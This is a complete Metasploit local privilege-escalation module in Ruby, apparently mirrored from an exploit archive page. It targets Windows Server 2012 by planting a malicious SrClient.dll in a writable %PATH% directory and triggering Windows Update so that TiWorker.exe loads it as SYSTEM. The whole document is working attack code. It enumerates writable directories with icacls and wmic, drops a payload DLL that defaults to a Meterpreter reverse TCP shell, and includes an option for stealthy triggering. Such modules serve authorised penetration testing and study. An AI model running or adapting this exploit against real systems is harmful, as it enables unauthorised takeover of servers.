Share
## https://sploitus.com/exploit?id=PACKETSTORM:161791
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::Common  
include Msf::Post::File  
include Msf::Post::Windows::Priv  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Windows Server 2012 SrClient DLL hijacking',  
'Description' => %q{  
All editions of Windows Server 2012 (but not 2012 R2) are vulnerable to DLL  
hijacking due to the way TiWorker.exe will try to call the non-existent  
`SrClient.dll` file when Windows Update checks for updates. This issue can be  
leveraged for privilege escalation if %PATH% includes directories that are  
writable by low-privileged users. The attack can be triggered by any  
low-privileged user and does not require a system reboot.  
  
This module has been successfully tested on Windows Server 2012 (x64).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Erik Wynter' # @wyntererik - Discovery & Metasploit  
],  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'DefaultOptions' =>  
{  
'Wfsdelay' => 60,  
'EXITFUNC' => 'thread'  
},  
'Targets' =>  
[  
[  
'Windows Server 2012 (x64)', {  
'Arch' => [ARCH_X64],  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'References' =>  
[  
[ 'URL', 'https://blog.vonahi.io/srclient-dll-hijacking' ],  
],  
'DisclosureDate' => '2021-02-19',  
'DefaultTarget' => 0,  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, SCREEN_EFFECTS ]  
}  
)  
)  
  
register_options([  
OptString.new('WRITABLE_PATH_DIR', [false, 'Path to a writable %PATH% directory to write the payload to.', '']),  
OptBool.new('STEALTH_ONLY', [false, 'Only exploit if the payload can be triggered without launching the Windows Update UI) ', false]),  
OptInt.new('WAIT_FOR_TIWORKER', [false, 'No. of minutes to wait for TiWorker.exe to finish running if it is already active. ', 0])  
])  
  
end  
  
def provided_path_dir  
datastore['WRITABLE_PATH_DIR']  
end  
  
def stealth_only  
datastore['STEALTH_ONLY']  
end  
  
def wait_for_tiworker  
datastore['WAIT_FOR_TIWORKER']  
end  
  
def force_exploit_message  
" If #{provided_path_dir} should be writable and part of %PATH%, enter `set ForceExploit true` and rerun the module."  
end  
  
def grab_user_groups(current_user)  
print_status("Obtaining group information for the current user #{current_user}...")  
  
# add current user to the groups we are a member of in case user-specific permissions are set for any of the %PATH% directories  
user_groups = [current_user]  
  
whoami_groups = get_whoami  
  
unless whoami_groups.blank?  
print_status('')  
whoami_groups.split("\r\n").each do |line|  
exclude_strings = ['----', '====', 'GROUP INFORMATION', 'Group Name', 'Mandatory Label']  
line = line.strip  
next if line.empty?  
next if exclude_strings.any? { |ex_str| line.include?(ex_str) }  
  
group = line.split(' ')[0]  
user_groups << group  
print_status("\t#{group}")  
end  
  
print_status('')  
end  
user_groups  
end  
  
def find_pdir_owner(pdir, current_user)  
# we need double backslashes in the path for wmic, using block gsub because regular gsub doesn't seem to work  
pdir_escaped = pdir.gsub(/\\/) { '\\\\' }  
pdir_owner_info = cmd_exec("wmic path Win32_LogicalFileSecuritySetting where Path=\"#{pdir_escaped}\" ASSOC /RESULTROLE:Owner /ASSOCCLASS:Win32_LogicalFileOwner /RESULTCLASS:Win32_SID")  
if pdir_owner_info.blank? || pdir_owner_info.split('{')[0].blank?  
return false  
end  
  
pdir_owner_suffix = pdir_owner_info.split('{')[0]  
pdir_owner_prefix = pdir_owner_info.scan(/\}\s+(.*?)S-\d-\d+-(\d+-){1,14}\d/).flatten.first  
  
if pdir_owner_prefix.blank? || pdir_owner_suffix.blank?  
return false  
end  
  
pdir_owner_name = "#{pdir_owner_prefix.strip}\\#{pdir_owner_suffix.strip}"  
if pdir_owner_name.downcase == current_user.downcase  
return true  
else  
return false  
end  
end  
  
def enumerate_writable_path_dirs(path_dirs, user_groups, current_user)  
writable_path_dirs = []  
perms_we_need = ['(F)', '(M)']  
print_status('')  
  
path_dirs.split(';').each do |pdir|  
next if pdir.blank? || pdir.strip.blank?  
  
# directories can't and with a backslash, otherwise some commands will throw an error  
pdir = pdir.strip.delete_suffix('\\')  
  
# if the user has provided a target dir, only look at that one  
if !provided_path_dir.blank? && pdir.downcase != provided_path_dir.downcase  
next  
end  
  
print_status("\tChecking permissions for #{pdir}")  
  
# check if the current user owns pdir  
user_owns_pdir = find_pdir_owner(pdir, current_user)  
  
# use icalcs to get the directory permissions  
permissions = cmd_exec("icacls \"#{pdir}\"")  
next if permissions.blank?  
next if permissions.split(pdir.to_s)[1] && permissions.split(pdir.to_s)[1].length < 2  
  
# the output should always start with the provided directory, so we need to remove that  
groups_perms = permissions.split(pdir.to_s)[1].strip  
next if groups_perms.empty?  
  
# iterate over the listed permissions for different groups  
groups_perms.split("\n").each do |gp|  
gp = gp.strip  
  
# the format should be <group>:<perms>, so gp must always include `:`  
next unless gp.include?(':')  
  
# grab the group name and permissions  
group, perms = gp.split(':')  
next if group.blank? || perms.blank?  
  
group = group.strip  
perms = perms.strip  
  
# if the current user owns the directory, check for the directory permissions as well  
if user_owns_pdir && group == 'CREATOR OWNER' && perms_we_need.any? { |prm| perms.downcase.include? prm.downcase }  
writable_path_dirs << pdir unless writable_path_dirs.include?(pdir)  
next  
end  
  
# ignore groups that don't match the groups for the current user, or the required permissions  
next unless user_groups.any? { |ug| group.downcase == ug.downcase }  
next unless perms_we_need.any? { |prm| perms.downcase.include? prm.downcase }  
  
# if we are here, we found a %PATH% directory we can write to!!!  
writable_path_dirs << pdir unless writable_path_dirs.include?(pdir)  
end  
end  
  
print_status('')  
  
writable_path_dirs  
end  
  
def exploitation_message(trigger_cmd)  
if trigger_cmd == 'wuauclt /detectnow'  
print_status("Trying to trigger the payload in the background via the shell command `#{trigger_cmd}`")  
else  
print_status("Trying to trigger the payload via the shell command `#{trigger_cmd}`")  
end  
end  
  
def monitor_tiworker  
print_warning("TiWorker.exe is already running on the target. The module will monitor the process every 10 seconds for up to #{wait_for_tiworker} minute(s)...")  
wait_time_left = wait_for_tiworker  
sleep_time = 0  
while wait_time_left > 0  
sleep 10  
  
host_processes = client.sys.process.get_processes  
if host_processes.none? { |ps| ps['name'] == 'TiWorker.exe' }  
print_status('TiWorker.exe is no longer running on the target. Proceding with exploitation.')  
break  
end  
  
sleep_time += 10  
next unless sleep_time == 60  
  
wait_time_left -= 1  
sleep_time = 0  
print_status("TiWorker.exe is still running on the target. The module will keep checking for #{wait_time_left} minute(s)...")  
end  
end  
  
def check  
# check OS  
unless sysinfo['OS'].include?('2012')  
return Exploit::CheckCode::Safe('Target is not Windows Server 2012.')  
end  
  
if sysinfo['OS'].include?('R2')  
return Exploit::CheckCode::Safe('Target is Windows Server 2012 R2, but only Windows Server 2012 is vulnerable.')  
end  
  
print_status("Target is #{sysinfo['OS']}")  
  
# obtain the Windows Update setting to see if exploitation could work at all  
@wupdate_setting = registry_getvaldata('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\Auto Update', 'AUOptions')  
  
if @wupdate_setting.nil?  
# if this is true, Windows Update has probably never been configured on the target, and the attack most likely won't work.  
return Exploit::CheckCode::Safe('Target is Windows Server 2012, but cannot be exploited because Windows Update has not been configured.')  
end  
  
unless (1..4).include?(@wupdate_setting)  
return Exploit::CheckCode::Unknown('Received unexpected reply when trying to obtain the Windows Update setting.')  
end  
  
# get groups for the current user, this is necessary to verify write permissions  
current_user = session.sys.config.getuid  
user_groups = grab_user_groups(current_user)  
  
# get %PATH% dirs and check if the current user can write to them  
print_status('Checking for writable directories in %PATH%...')  
# we can't use get_envs('PATH') here because that returns all PATH directories, but we only need those in the SYSTEM PATH  
path_dirs = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment', 'path')  
  
if path_dirs.blank?  
get_path_fail_message = 'Failed to obtain %PATH% directories.'  
unless provided_path_dir.blank?  
get_path_fail_message << force_exploit_message  
end  
return Exploit::CheckCode::Unknown(get_path_fail_message)  
end  
  
@writable_path_dirs = enumerate_writable_path_dirs(path_dirs, user_groups, current_user)  
  
writable_path_dirs_fail_message = "#{current_user} does not seem to have write permissions to any of the %PATH% directories"  
  
if @writable_path_dirs.empty?  
unless provided_path_dir.blank?  
writable_path_dirs_fail_message << force_exploit_message  
end  
return Exploit::CheckCode::Safe(writable_path_dirs_fail_message)  
end  
  
if provided_path_dir.blank?  
print_good("#{current_user} has write permissions to the following %PATH% directories:")  
print_status('')  
@writable_path_dirs.each { |wpd| print_status("\t#{wpd}") }  
print_status('')  
else  
print_good("#{current_user} has write permissions to #{provided_path_dir}")  
end  
  
return Exploit::CheckCode::Appears  
end  
  
def exploit  
if is_system?  
fail_with(Failure::None, 'Session is already elevated')  
end  
  
payload_arch = payload.arch.first  
if (payload_arch != ARCH_X64)  
fail_with(Failure::BadConfig, "Unsupported payload architecture (#{payload_arch}). Only 64-bit (x64) payloads are supported.") # Unsupported architecture, so return an error.  
end  
  
# check if TiWorker.exe is already running, in which case exploitation will fail  
host_processes = client.sys.process.get_processes  
if host_processes.any? { |ps| ps['name'] == 'TiWorker.exe' }  
unless wait_for_tiworker > 0  
fail_with(Failure::Unknown, 'TiWorker.exe is already running on the target. Set `WAIT_FOR_TIWORKER` to force the module to wait for the process to finish.')  
end  
  
monitor_tiworker  
end  
  
# There are three commands we can run to get the target to start checking for Windows updates, which should launch TiWorker.exe and trigger the payload as SYSTEM  
## 'wuauclt /detectnow': This triggers the payload in the background, but won't work when Windows Update is set to never check for updates.  
## 'wuauclt /selfupdatemanaged': This triggers the payload by launching the Windows Update UI, which then scans for updates using the WSUS settings. This is not stealthy, but works with all Windows Update settings.  
## 'wuauclt /selfupdateunmanaged': This triggers the payload by launching the Windows Update UI, which then scans for updates using the Windows Update site. This is not stealthy, but works with all Windows Update settings.  
## the module prefers /selfupdatemanaged over /selfupdateunmanaged when /detectnow is not possible because /selfupdateunmanaged may require the target to be able to reach the Windows Update server  
  
case @wupdate_setting  
when 1  
print_warning('Because Windows Update is set to never check for updates, triggering the payload requires launching the Windows Update window on the target.')  
if stealth_only  
fail_with(Failure::Unknown, 'Exploitation cannot proceed stealthily. If you still want to exploit, set `STEALTH_ONLY` to false.')  
return  
end  
trigger_cmd = 'wuauclt /selfupdatemanaged'  
when 2..4  
# trigger the payload in the background if we can  
trigger_cmd = 'wuauclt /detectnow'  
else  
# if this is true, ForceExploit has been set and we should just roll with it  
print_warning('Windows Update is not configured or returned an unexpected value. Exploitation may not work.')  
if stealth_only  
trigger_cmd = 'wuauclt /detectnow'  
else  
# go out guns blazing and hope for the best  
print_status('The module will launch the Windows Update window on the target in an attempt to trigger the payload.')  
trigger_cmd = 'wuauclt /selfupdatemanaged'  
end  
end  
  
# select a target directory to write the payload to  
if @writable_path_dirs.empty? # this means ForceExploit is being used  
if provided_path_dir.blank?  
fail_with(Failure::BadConfig, 'Using ForceExploit requires `WRITABLE_PATH_DIR` to be set.')  
end  
  
dll_path = provided_path_dir  
else  
dll_path = @writable_path_dirs[0]  
end  
  
# generate and write payload  
dll_path << '\\' unless dll_path.end_with?('\\')  
@dll_file_path = "#{dll_path}SrClient.dll"  
dll = generate_payload_dll  
  
print_status("Writing #{dll.length} bytes to #{@dll_file_path}...")  
begin  
# write_file(@dll_file_path, dll)  
write_file(@dll_file_path, dll)  
register_file_for_cleanup(@dll_file_path)  
rescue Rex::Post::Meterpreter::RequestError => e  
# Can't write the file, can't go on  
fail_with(Failure::Unknown, e.message)  
end  
  
# trigger the payload  
exploitation_message(trigger_cmd)  
cmd_exec(trigger_cmd)  
end  
end